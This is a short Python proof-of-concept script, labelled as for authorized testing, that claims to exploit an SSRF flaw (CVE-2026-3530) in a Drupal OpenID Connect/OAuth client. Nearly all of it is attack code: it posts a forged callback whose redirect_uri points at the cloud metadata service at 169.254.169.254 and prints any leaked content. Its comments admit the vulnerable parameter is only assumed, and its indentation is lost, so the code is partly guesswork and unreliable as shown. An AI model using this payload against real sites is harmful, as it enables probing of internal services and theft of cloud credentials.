The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-3530 SSRF in Drupal OpenID Connect / OAuth client
import requests
target_url = "http://drupal-site.example.com/openid-connect/callback"
# Example payload targeting an internal metadata service
internal_target = "http://169.254.169.254/latest/meta-data/"
# Assuming the vulnerable endpoint takes a 'redirect_uri' or similar parameter
# that is eventually fetched by the server without validation.
payload = {
"code": "arbitrary_code",
"state": "arbitrary_state",
"redirect_uri": internal_target
}
try:
print(f"Sending request to {target_url} with payload: {payload}")
response = requests.post(target_url, data=payload)
# Analyze response to check if the internal target was accessed
if response.status_code == 200 and "meta-data" in response.text:
print("[+] Potential SSRF successful! Internal content leaked.")
print(response.text[:500])
else:
print("[-] Exploit failed or target not vulnerable.")
except Exception as e:
print(f"Error occurred: {e}")